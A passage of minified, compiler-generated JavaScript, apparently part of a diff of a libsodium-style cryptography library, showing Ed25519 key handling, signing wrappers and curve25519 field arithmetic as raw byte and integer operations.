8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, s4[n9 + 24 | 0] = e6, s4[n9 + 25 | 0] = e6 >>> 8, s4[n9 + 26 | 0] = e6 >>> 16, s4[n9 + 27 | 0] = e6 >>> 24, s4[n9 + 28 | 0] = o5, s4[n9 + 29 | 0] = o5 >>> 8, s4[n9 + 30 | 0] = o5 >>> 16, s4[n9 + 31 | 0] = o5 >>> 24, s4[n9 + 16 | 0] = g5, s4[n9 + 17 | 0] = g5 >>> 8, s4[n9 + 18 | 0] = g5 >>> 16, s4[n9 + 19 | 0] = g5 >>> 24, s4[n9 + 20 | 0] = u5, s4[n9 + 21 | 0] = u5 >>> 8, s4[n9 + 22 | 0] = u5 >>> 16, s4[n9 + 23 | 0] = u5 >>> 24, s4[n9 + 8 | 0] = h5, s4[n9 + 9 | 0] = h5 >>> 8, s4[n9 + 10 | 0] = h5 >>> 16, s4[n9 + 11 | 0] = h5 >>> 24, s4[n9 + 12 | 0] = a5, s4[n9 + 13 | 0] = a5 >>> 8, s4[n9 + 14 | 0] = a5 >>> 16, s4[n9 + 15 | 0] = a5 >>> 24, s4[0 | n9] = l5, s4[n9 + 1 | 0] = l5 >>> 8, s4[n9 + 2 | 0] = l5 >>> 16, s4[n9 + 3 | 0] = l5 >>> 24, s4[n9 + 4 | 0] = r11, s4[n9 + 5 | 0] = r11 >>> 8, s4[n9 + 6 | 0] = r11 >>> 16, s4[n9 + 7 | 0] = r11 >>> 24, g5 = c4[(a5 = t7) + 8 | 0] | c4[a5 + 9 | 0] << 8 | c4[a5 + 10 | 0] << 16 | c4[a5 + 11 | 0] << 24, u5 = c4[a5 + 12 | 0] | c4[a5 + 13 | 0] << 8 | c4[a5 + 14 | 0] << 16 | c4[a5 + 15 | 0] << 24, l5 = c4[a5 + 16 | 0] | c4[a5 + 17 | 0] << 8 | c4[a5 + 18 | 0] << 16 | c4[a5 + 19 | 0] << 24, r11 = c4[a5 + 20 | 0] | c4[a5 + 21 | 0] << 8 | c4[a5 + 22 | 0] << 16 | c4[a5 + 23 | 0] << 24, e6 = c4[0 | a5] | c4[a5 + 1 | 0] << 8 | c4[a5 + 2 | 0] << 16 | c4[a5 + 3 | 0] << 24, t7 = c4[a5 + 4 | 0] | c4[a5 + 5 | 0] << 8 | c4[a5 + 6 | 0] << 16 | c4[a5 + 7 | 0] << 24, h5 = c4[a5 + 28 | 0] | c4[a5 + 29 | 0] << 8 | c4[a5 + 30 | 0] << 16 | c4[a5 + 31 | 0] << 24, a5 = c4[a5 + 24 | 0] | c4[a5 + 25 | 0] << 8 | c4[a5 + 26 | 0] << 16 | c4[a5 + 27 | 0] << 24, s4[n9 + 56 | 0] = a5, s4[n9 + 57 | 0] = a5 >>> 8, s4[n9 + 58 | 0] = a5 >>> 16, s4[n9 + 59 | 0] = a5 >>> 24, s4[n9 + 60 | 0] = h5, s4[n9 + 61 | 0] = h5 >>> 8, s4[n9 + 62 | 0] = h5 >>> 16, s4[n9 + 63 | 0] = h5 >>> 24, s4[n9 + 48 | 0] = l5, s4[n9 + 49 | 0] = l5 >>> 8, s4[n9 + 50 | 0] = l5 >>> 16, s4[n9 + 51 | 0] = l5 >>> 24, s4[n9 + 52 | 0] = r11, s4[n9 + 53 | 0] = r11 >>> 8, s4[n9 + 54 | 0] = r11 >>> 16, s4[n9 + 55 | 0] = r11 >>> 24, s4[n9 + 40 | 0] = g5, s4[n9 + 41 | 0] = g5 >>> 8, s4[n9 + 42 | 0] = g5 >>> 16, s4[n9 + 43 | 0] = g5 >>> 24, s4[n9 + 44 | 0] = u5, s4[n9 + 45 | 0] = u5 >>> 8, s4[n9 + 46 | 0] = u5 >>> 16, s4[n9 + 47 | 0] = u5 >>> 24, s4[n9 + 32 | 0] = e6, s4[n9 + 33 | 0] = e6 >>> 8, s4[n9 + 34 | 0] = e6 >>> 16, s4[n9 + 35 | 0] = e6 >>> 24, s4[n9 + 36 | 0] = t7, s4[n9 + 37 | 0] = t7 >>> 8, s4[n9 + 38 | 0] = t7 >>> 16, s4[n9 + 39 | 0] = t7 >>> 24, I4 = i4 + 160 | 0, 0; - }, Ob: function(t7, e6) { - t7 |= 0, e6 |= 0; - var r11, n9, A8, i4, o5, h5 = 0, g5 = 0, u5 = 0; - return I4 = g5 = I4 - 192 | 0, vt2(g5, 32), ct2(e6, g5, 32, 0), s4[0 | e6] = 248 & c4[0 | e6], s4[e6 + 31 | 0] = 63 & c4[e6 + 31 | 0] | 64, H4(u5 = g5 + 32 | 0, e6), bt2(t7, u5), r11 = g5, u5 = a4[g5 + 28 >> 2], g5 = a4[g5 + 24 >> 2], s4[e6 + 24 | 0] = g5, s4[e6 + 25 | 0] = g5 >>> 8, s4[e6 + 26 | 0] = g5 >>> 16, s4[e6 + 27 | 0] = g5 >>> 24, s4[e6 + 28 | 0] = u5, s4[e6 + 29 | 0] = u5 >>> 8, s4[e6 + 30 | 0] = u5 >>> 16, s4[e6 + 31 | 0] = u5 >>> 24, u5 = a4[r11 + 20 >> 2], g5 = a4[r11 + 16 >> 2], s4[e6 + 16 | 0] = g5, s4[e6 + 17 | 0] = g5 >>> 8, s4[e6 + 18 | 0] = g5 >>> 16, s4[e6 + 19 | 0] = g5 >>> 24, s4[e6 + 20 | 0] = u5, s4[e6 + 21 | 0] = u5 >>> 8, s4[e6 + 22 | 0] = u5 >>> 16, s4[e6 + 23 | 0] = u5 >>> 24, u5 = a4[r11 + 12 >> 2], g5 = a4[r11 + 8 >> 2], s4[e6 + 8 | 0] = g5, s4[e6 + 9 | 0] = g5 >>> 8, s4[e6 + 10 | 0] = g5 >>> 16, s4[e6 + 11 | 0] = g5 >>> 24, s4[e6 + 12 | 0] = u5, s4[e6 + 13 | 0] = u5 >>> 8, s4[e6 + 14 | 0] = u5 >>> 16, s4[e6 + 15 | 0] = u5 >>> 24, u5 = a4[r11 + 4 >> 2], g5 = a4[r11 >> 2], s4[0 | e6] = g5, s4[e6 + 1 | 0] = g5 >>> 8, s4[e6 + 2 | 0] = g5 >>> 16, s4[e6 + 3 | 0] = g5 >>> 24, s4[e6 + 4 | 0] = u5, s4[e6 + 5 | 0] = u5 >>> 8, s4[e6 + 6 | 0] = u5 >>> 16, s4[e6 + 7 | 0] = u5 >>> 24, n9 = c4[(h5 = t7) + 8 | 0] | c4[h5 + 9 | 0] << 8 | c4[h5 + 10 | 0] << 16 | c4[h5 + 11 | 0] << 24, A8 = c4[h5 + 12 | 0] | c4[h5 + 13 | 0] << 8 | c4[h5 + 14 | 0] << 16 | c4[h5 + 15 | 0] << 24, i4 = c4[h5 + 16 | 0] | c4[h5 + 17 | 0] << 8 | c4[h5 + 18 | 0] << 16 | c4[h5 + 19 | 0] << 24, u5 = c4[h5 + 20 | 0] | c4[h5 + 21 | 0] << 8 | c4[h5 + 22 | 0] << 16 | c4[h5 + 23 | 0] << 24, g5 = c4[0 | h5] | c4[h5 + 1 | 0] << 8 | c4[h5 + 2 | 0] << 16 | c4[h5 + 3 | 0] << 24, t7 = c4[h5 + 4 | 0] | c4[h5 + 5 | 0] << 8 | c4[h5 + 6 | 0] << 16 | c4[h5 + 7 | 0] << 24, o5 = c4[h5 + 28 | 0] | c4[h5 + 29 | 0] << 8 | c4[h5 + 30 | 0] << 16 | c4[h5 + 31 | 0] << 24, h5 = c4[h5 + 24 | 0] | c4[h5 + 25 | 0] << 8 | c4[h5 + 26 | 0] << 16 | c4[h5 + 27 | 0] << 24, s4[e6 + 56 | 0] = h5, s4[e6 + 57 | 0] = h5 >>> 8, s4[e6 + 58 | 0] = h5 >>> 16, s4[e6 + 59 | 0] = h5 >>> 24, s4[e6 + 60 | 0] = o5, s4[e6 + 61 | 0] = o5 >>> 8, s4[e6 + 62 | 0] = o5 >>> 16, s4[e6 + 63 | 0] = o5 >>> 24, s4[e6 + 48 | 0] = i4, s4[e6 + 49 | 0] = i4 >>> 8, s4[e6 + 50 | 0] = i4 >>> 16, s4[e6 + 51 | 0] = i4 >>> 24, s4[e6 + 52 | 0] = u5, s4[e6 + 53 | 0] = u5 >>> 8, s4[e6 + 54 | 0] = u5 >>> 16, s4[e6 + 55 | 0] = u5 >>> 24, s4[e6 + 40 | 0] = n9, s4[e6 + 41 | 0] = n9 >>> 8, s4[e6 + 42 | 0] = n9 >>> 16, s4[e6 + 43 | 0] = n9 >>> 24, s4[e6 + 44 | 0] = A8, s4[e6 + 45 | 0] = A8 >>> 8, s4[e6 + 46 | 0] = A8 >>> 16, s4[e6 + 47 | 0] = A8 >>> 24, s4[e6 + 32 | 0] = g5, s4[e6 + 33 | 0] = g5 >>> 8, s4[e6 + 34 | 0] = g5 >>> 16, s4[e6 + 35 | 0] = g5 >>> 24, s4[e6 + 36 | 0] = t7, s4[e6 + 37 | 0] = t7 >>> 8, s4[e6 + 38 | 0] = t7 >>> 16, s4[e6 + 39 | 0] = t7 >>> 24, oe2(r11, 32), I4 = r11 + 192 | 0, 0; - }, Pb: function(t7, e6, r11, n9, A8, i4) { - e6 |= 0, A8 |= 0, i4 |= 0; - var o5, s5 = 0; - return I4 = o5 = I4 - 16 | 0, m4(t7 |= 0, o5 + 8 | 0, kt2(t7 - -64 | 0, r11 |= 0, n9 |= 0), n9, A8, i4, 0), 64 != a4[o5 + 8 >> 2] | a4[o5 + 12 >> 2] ? (e6 && (a4[e6 >> 2] = 0, a4[e6 + 4 >> 2] = 0), xt2(t7, 0, n9 - -64 | 0), s5 = -1) : e6 && (a4[e6 >> 2] = n9 - -64, a4[e6 + 4 >> 2] = A8 - ((n9 >>> 0 < 4294967232) - 1 | 0)), I4 = o5 + 16 | 0, 0 | s5; - }, Qb: function(t7, e6, r11, n9, A8, i4) { - t7 |= 0, e6 |= 0, r11 |= 0; - var o5 = 0; - t: { - e: { - if (o5 = n9 |= 0, !(!(A8 |= 0) & n9 >>> 0 < 64 || (n9 = A8 - 1 | 0, !(n9 = (A8 = o5 + -64 | 0) >>> 0 < 4294967232 ? n9 + 1 | 0 : n9) & A8 >>> 0 > 4294967231 | n9))) { - if (!w4(r11, o5 = r11 - -64 | 0, A8, n9, i4 |= 0, 0)) - break e; - t7 && xt2(t7, 0, A8); - } - if (r11 = -1, !e6) - break t; - a4[e6 >> 2] = 0, a4[e6 + 4 >> 2] = 0; - break t; - } - e6 && (a4[e6 >> 2] = A8, a4[e6 + 4 >> 2] = n9), r11 = 0, t7 && kt2(t7, o5, A8); - } - return 0 | r11; - }, Rb: function(t7, e6, r11, n9, A8, i4) { - return m4(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, 0), 0; - }, Sb: function(t7, e6, r11, n9, A8) { - return 0 | w4(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, 0); - }, Tb: function(t7) { - return gt2(t7 |= 0), 0; - }, Ub: function(t7, e6, r11, n9) { - return 0 | G4(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0); - }, Vb: function(t7, e6, r11, n9) { - var A8; - return e6 |= 0, r11 |= 0, n9 |= 0, I4 = A8 = I4 + -64 | 0, D4(t7 |= 0, A8), t7 = m4(e6, r11, A8, 64, 0, n9, 1), I4 = A8 - -64 | 0, 0 | t7; - }, Wb: function(t7, e6, r11) { - var n9; - return e6 |= 0, r11 |= 0, I4 = n9 = I4 + -64 | 0, D4(t7 |= 0, n9), t7 = w4(e6, n9, 64, 0, r11, 1), I4 = n9 - -64 | 0, 0 | t7; - }, Xb: function(t7, e6) { - t7 |= 0; - var r11, n9 = 0, A8 = 0, i4 = 0, o5 = 0, c5 = 0, h5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, M5 = 0, x5 = 0, F5 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, V3 = 0, W3 = 0, $3 = 0, tt3 = 0, rt3 = 0, nt3 = 0, At3 = 0, it3 = 0, ot3 = 0, st3 = 0, at3 = 0, ct3 = 0, gt3 = 0, ut3 = 0, ft3 = 0, pt3 = 0, dt3 = 0, It3 = 0, yt3 = 0, Ct3 = 0, mt3 = 0, Et3 = 0, wt3 = 0, vt3 = 0, _t3 = 0, Qt3 = 0, bt3 = 0, kt3 = 0, Dt3 = 0, St3 = 0, Nt3 = 0, Mt3 = 0, Ft3 = 0, Pt3 = 0, Tt3 = 0, Rt3 = 0, Ut3 = 0, Gt3 = 0, Ht3 = 0, Lt3 = 0, Ot3 = 0, Yt3 = 0, Kt3 = 0, Jt3 = 0; - if (I4 = r11 = I4 - 256 | 0, Rt3 = -1, !lt2(e6 |= 0) && !N5(n9 = r11 + 96 | 0, e6)) { - for (I4 = i4 = I4 - 2048 | 0, Z2(o5 = i4 + 640 | 0, n9), n9 = a4[(e6 = n9) + 36 >> 2], a4[i4 + 352 >> 2] = a4[e6 + 32 >> 2], a4[i4 + 356 >> 2] = n9, n9 = a4[e6 + 28 >> 2], a4[i4 + 344 >> 2] = a4[e6 + 24 >> 2], a4[i4 + 348 >> 2] = n9, n9 = a4[e6 + 20 >> 2], a4[i4 + 336 >> 2] = a4[e6 + 16 >> 2], a4[i4 + 340 >> 2] = n9, n9 = a4[e6 + 12 >> 2], a4[i4 + 328 >> 2] = a4[e6 + 8 >> 2], a4[i4 + 332 >> 2] = n9, n9 = a4[e6 + 4 >> 2], a4[i4 + 320 >> 2] = a4[e6 >> 2], a4[i4 + 324 >> 2] = n9, n9 = a4[e6 + 52 >> 2], a4[i4 + 368 >> 2] = a4[e6 + 48 >> 2], a4[i4 + 372 >> 2] = n9, n9 = a4[e6 + 60 >> 2], a4[i4 + 376 >> 2] = a4[e6 + 56 >> 2], a4[i4 + 380 >> 2] = n9, A8 = a4[4 + (n9 = e6 - -64 | 0) >> 2], a4[i4 + 384 >> 2] = a4[n9 >> 2], a4[i4 + 388 >> 2] = A8, n9 = a4[e6 + 76 >> 2], a4[i4 + 392 >> 2] = a4[e6 + 72 >> 2], a4[i4 + 396 >> 2] = n9, n9 = a4[e6 + 44 >> 2], a4[i4 + 360 >> 2] = a4[e6 + 40 >> 2], a4[i4 + 364 >> 2] = n9, n9 = a4[e6 + 92 >> 2], a4[i4 + 408 >> 2] = a4[e6 + 88 >> 2], a4[i4 + 412 >> 2] = n9, n9 = a4[e6 + 100 >> 2], a4[i4 + 416 >> 2] = a4[e6 + 96 >> 2], a4[i4 + 420 >> 2] = n9, n9 = a4[e6 + 108 >> 2], a4[i4 + 424 >> 2] = a4[e6 + 104 >> 2], a4[i4 + 428 >> 2] = n9, n9 = a4[e6 + 116 >> 2], a4[i4 + 432 >> 2] = a4[e6 + 112 >> 2], a4[i4 + 436 >> 2] = n9, n9 = a4[e6 + 84 >> 2], a4[i4 + 400 >> 2] = a4[e6 + 80 >> 2], a4[i4 + 404 >> 2] = n9, _4(e6 = i4 + 480 | 0, n9 = i4 + 320 | 0), v4(A8 = i4 + 160 | 0, e6, h5 = i4 + 600 | 0), v4(i4 + 200 | 0, l5 = i4 + 520 | 0, f5 = i4 + 560 | 0), v4(i4 + 240 | 0, f5, h5), v4(i4 + 280 | 0, e6, l5), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5 = i4 + 360 | 0, l5, f5), v4(w5 = i4 + 400 | 0, f5, h5), v4(C5 = i4 + 440 | 0, e6, l5), Z2(o5 = i4 + 800 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(o5 = i4 + 960 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(o5 = i4 + 1120 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(o5 = i4 + 1280 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(o5 = i4 + 1440 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(o5 = i4 + 1600 | 0, n9), P4(e6, A8, o5), v4(n9, e6, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, e6, l5), Z2(i4 + 1760 | 0, n9), a4[i4 + 32 >> 2] = 0, a4[i4 + 36 >> 2] = 0, a4[i4 + 24 >> 2] = 0, a4[i4 + 28 >> 2] = 0, a4[i4 + 16 >> 2] = 0, a4[i4 + 20 >> 2] = 0, a4[i4 + 8 >> 2] = 0, a4[i4 + 12 >> 2] = 0, a4[i4 + 44 >> 2] = 0, a4[i4 + 48 >> 2] = 0, a4[i4 + 52 >> 2] = 0, a4[i4 + 56 >> 2] = 0, a4[i4 + 60 >> 2] = 0, a4[i4 + 64 >> 2] = 0, a4[i4 + 68 >> 2] = 0, a4[i4 + 72 >> 2] = 0, a4[i4 + 76 >> 2] = 0, a4[i4 + 80 >> 2] = 1, a4[i4 >> 2] = 0, a4[i4 + 4 >> 2] = 0, a4[i4 + 40 >> 2] = 1, xt2(i4 + 84 | 0, 0, 76), p5 = i4 + 120 | 0, B5 = i4 + 2008 | 0, m5 = i4 + 1968 | 0, n9 = i4 + 80 | 0, A8 = i4 + 40 | 0, o5 = 252; c5 = a4[i4 + 36 >> 2], a4[(e6 = i4 + 1960 | 0) >> 2] = a4[i4 + 32 >> 2], a4[e6 + 4 >> 2] = c5, c5 = a4[i4 + 28 >> 2], a4[(e6 = i4 + 1952 | 0) >> 2] = a4[i4 + 24 >> 2], a4[e6 + 4 >> 2] = c5, c5 = a4[i4 + 20 >> 2], a4[(e6 = i4 + 1944 | 0) >> 2] = a4[i4 + 16 >> 2], a4[e6 + 4 >> 2] = c5, c5 = a4[i4 + 12 >> 2], a4[(e6 = i4 + 1936 | 0) >> 2] = a4[i4 + 8 >> 2], a4[e6 + 4 >> 2] = c5, e6 = a4[i4 + 4 >> 2], a4[i4 + 1928 >> 2] = a4[i4 >> 2], a4[i4 + 1932 >> 2] = e6, c5 = a4[(e6 = A8) + 36 >> 2], a4[m5 + 32 >> 2] = a4[e6 + 32 >> 2], a4[m5 + 36 >> 2] = c5, c5 = a4[e6 + 28 >> 2], a4[m5 + 24 >> 2] = a4[e6 + 24 >> 2], a4[m5 + 28 >> 2] = c5, c5 = a4[e6 + 20 >> 2], a4[m5 + 16 >> 2] = a4[e6 + 16 >> 2], a4[m5 + 20 >> 2] = c5, c5 = a4[e6 + 12 >> 2], a4[m5 + 8 >> 2] = a4[e6 + 8 >> 2], a4[m5 + 12 >> 2] = c5, c5 = a4[e6 + 4 >> 2], a4[m5 >> 2] = a4[e6 >> 2], a4[m5 + 4 >> 2] = c5, c5 = a4[(e6 = n9) + 36 >> 2], a4[B5 + 32 >> 2] = a4[e6 + 32 >> 2], a4[B5 + 36 >> 2] = c5, c5 = a4[e6 + 28 >> 2], a4[B5 + 24 >> 2] = a4[e6 + 24 >> 2], a4[B5 + 28 >> 2] = c5, c5 = a4[e6 + 20 >> 2], a4[B5 + 16 >> 2] = a4[e6 + 16 >> 2], a4[B5 + 20 >> 2] = c5, c5 = a4[e6 + 12 >> 2], a4[B5 + 8 >> 2] = a4[e6 + 8 >> 2], a4[B5 + 12 >> 2] = c5, c5 = a4[e6 + 4 >> 2], a4[B5 >> 2] = a4[e6 >> 2], a4[B5 + 4 >> 2] = c5, o5 = s4[(e6 = o5) + 33424 | 0], _4(c5 = i4 + 480 | 0, i4 + 1928 | 0), (0 | o5) > 0 ? (v4(b5 = i4 + 320 | 0, c5, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, c5, l5), P4(c5, b5, (i4 + 640 | 0) + g4((254 & o5) >>> 1 | 0, 160) | 0)) : (0 | o5) >= 0 || (v4(b5 = i4 + 320 | 0, c5 = i4 + 480 | 0, h5), v4(E5, l5, f5), v4(w5, f5, h5), v4(C5, c5, l5), T2(c5, b5, (i4 + 640 | 0) + g4((0 - o5 & 254) >>> 1 | 0, 160) | 0)), v4(i4, o5 = i4 + 480 | 0, h5), v4(A8, l5, f5), v4(n9, f5, h5), v4(p5, o5, l5), o5 = e6 - 1 | 0, e6; ) - ; - et2(e6 = i4 + 640 | 0, i4), e6 = ht2(e6, 32), I4 = i4 + 2048 | 0, e6 && (i4 = a4[r11 + 136 >> 2], a4[r11 >> 2] = 1 - i4, Rt3 = 0, K5 = a4[r11 + 172 >> 2], a4[r11 + 36 >> 2] = 0 - K5, E5 = a4[r11 + 168 >> 2], a4[r11 + 32 >> 2] = 0 - E5, J5 = a4[r11 + 164 >> 2], a4[r11 + 28 >> 2] = 0 - J5, l5 = a4[r11 + 160 >> 2], a4[r11 + 24 >> 2] = 0 - l5, j5 = a4[r11 + 156 >> 2], a4[r11 + 20 >> 2] = 0 - j5, f5 = a4[r11 + 152 >> 2], a4[r11 + 16 >> 2] = 0 - f5, z4 = a4[r11 + 148 >> 2], a4[r11 + 12 >> 2] = 0 - z4, B5 = a4[r11 + 144 >> 2], a4[r11 + 8 >> 2] = 0 - B5, q4 = a4[r11 + 140 >> 2], a4[r11 + 4 >> 2] = 0 - q4, X2(r11, r11), e6 = Bt2(w5 = a4[r11 + 4 >> 2], L5 = w5 >> 31, M5 = j5 << 1, gt3 = M5 >> 31), n9 = y4, A8 = Bt2(h5 = a4[r11 >> 2], x5 = h5 >> 31, l5, F5 = l5 >> 31), n9 = y4 + n9 | 0, n9 = (e6 = A8 + e6 | 0) >>> 0 < A8 >>> 0 ? n9 + 1 | 0 : n9, A8 = (o5 = Bt2(c5 = a4[r11 + 8 >> 2], V3 = c5 >> 31, f5, R5 = f5 >> 31)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < o5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(O5 = a4[r11 + 12 >> 2], tt3 = O5 >> 31, At3 = z4 << 1, ut3 = At3 >> 31), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(W3 = a4[r11 + 16 >> 2], it3 = W3 >> 31, B5, U5 = B5 >> 31), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, St3 = o5 = a4[r11 + 20 >> 2], m5 = Bt2(o5, ft3 = o5 >> 31, ot3 = q4 << 1, pt3 = ot3 >> 31), A8 = y4 + e6 | 0, A8 = (n9 = m5 + n9 | 0) >>> 0 < m5 >>> 0 ? A8 + 1 | 0 : A8, Nt3 = k5 = a4[r11 + 24 >> 2], e6 = (i4 = Bt2(k5, bt3 = k5 >> 31, m5 = i4 + 1 | 0, G5 = m5 >> 31)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < i4 >>> 0 ? n9 + 1 | 0 : n9, dt3 = a4[r11 + 28 >> 2], A8 = (i4 = Bt2(b5 = g4(dt3, 19), rt3 = b5 >> 31, st3 = K5 << 1, It3 = st3 >> 31)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, Ut3 = a4[r11 + 32 >> 2], A8 = Bt2(p5 = g4(Ut3, 19), $3 = p5 >> 31, E5, H5 = E5 >> 31), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, Gt3 = a4[r11 + 36 >> 2], A8 = Bt2(C5 = g4(Gt3, 19), Y5 = C5 >> 31, at3 = J5 << 1, yt3 = at3 >> 31), e6 = y4 + e6 | 0, d5 = n9 = A8 + n9 | 0, i4 = n9 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, e6 = Bt2(f5, R5, w5, L5), n9 = y4, u5 = Bt2(h5, x5, j5, Ct3 = j5 >> 31), A8 = y4 + n9 | 0, A8 = (e6 = u5 + e6 | 0) >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8, u5 = Bt2(c5, V3, z4, mt3 = z4 >> 31), n9 = y4 + A8 | 0, n9 = (e6 = u5 + e6 | 0) >>> 0 < u5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (u5 = Bt2(B5, U5, O5, tt3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < u5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(W3, it3, q4, Et3 = q4 >> 31), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(m5, G5, o5, ft3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, u5 = Bt2(k5 = g4(k5, 19), ct3 = k5 >> 31, K5, wt3 = K5 >> 31), A8 = y4 + e6 | 0, A8 = (n9 = u5 + n9 | 0) >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8, e6 = (u5 = Bt2(E5, H5, b5, rt3)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < u5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (u5 = Bt2(p5, $3, J5, vt3 = J5 >> 31)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < u5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(l5, F5, C5, Y5), e6 = y4 + e6 | 0, Mt3 = n9 = n9 + A8 | 0, nt3 = n9 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, e6 = Bt2(w5, L5, At3, ut3), A8 = y4, n9 = (u5 = Bt2(h5, x5, f5, R5)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < u5 >>> 0 ? e6 + 1 | 0 : e6, u5 = Bt2(B5, U5, c5, V3), A8 = y4 + e6 | 0, A8 = (n9 = u5 + n9 | 0) >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8, e6 = (u5 = Bt2(O5, tt3, ot3, pt3)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < u5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (u5 = Bt2(m5, G5, W3, it3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < u5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(u5 = g4(o5, 19), _t3 = u5 >> 31, st3, It3), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(E5, H5, k5, ct3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, o5 = Bt2(b5, rt3, at3, yt3), A8 = y4 + e6 | 0, A8 = (n9 = o5 + n9 | 0) >>> 0 < o5 >>> 0 ? A8 + 1 | 0 : A8, e6 = (o5 = Bt2(l5, F5, p5, $3)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < o5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (o5 = Bt2(C5, Y5, M5, gt3)) + e6 | 0, e6 = y4 + n9 | 0, Ht3 = A8, Lt3 = e6 = A8 >>> 0 < o5 >>> 0 ? e6 + 1 | 0 : e6, Ot3 = A8 = A8 + 33554432 | 0, Yt3 = e6 = A8 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, A8 = (67108863 & e6) << 6 | A8 >>> 26, e6 = (e6 >> 26) + nt3 | 0, Mt3 = o5 = A8 + Mt3 | 0, e6 = A8 >>> 0 > o5 >>> 0 ? e6 + 1 | 0 : e6, Kt3 = o5 = o5 + 16777216 | 0, e6 = (n9 = (A8 = o5 >>> 0 < 16777216 ? e6 + 1 | 0 : e6) >> 25) + i4 | 0, e6 = (A8 = (o5 = (33554431 & A8) << 7 | o5 >>> 25) + d5 | 0) >>> 0 < o5 >>> 0 ? e6 + 1 | 0 : e6, S5 = n9 = A8 + 33554432 | 0, o5 = e6 = n9 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[r11 + 72 >> 2] = A8 - (-67108864 & n9), e6 = Bt2(w5, L5, ot3, pt3), n9 = y4, i4 = Bt2(h5, x5, B5, U5), A8 = y4 + n9 | 0, A8 = (e6 = i4 + e6 | 0) >>> 0 < i4 >>> 0 ? A8 + 1 | 0 : A8, n9 = (i4 = Bt2(m5, G5, c5, V3)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(i4 = g4(O5, 19), Qt3 = i4 >> 31, st3, It3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (d5 = Bt2(nt3 = g4(W3, 19), kt3 = nt3 >> 31, E5, H5)) + n9 | 0, n9 = y4 + e6 | 0, n9 = A8 >>> 0 < d5 >>> 0 ? n9 + 1 | 0 : n9, d5 = Bt2(at3, yt3, u5, _t3), e6 = y4 + n9 | 0, e6 = (A8 = d5 + A8 | 0) >>> 0 < d5 >>> 0 ? e6 + 1 | 0 : e6, n9 = (d5 = Bt2(l5, F5, k5, ct3)) + A8 | 0, A8 = y4 + e6 | 0, A8 = n9 >>> 0 < d5 >>> 0 ? A8 + 1 | 0 : A8, d5 = Bt2(b5, 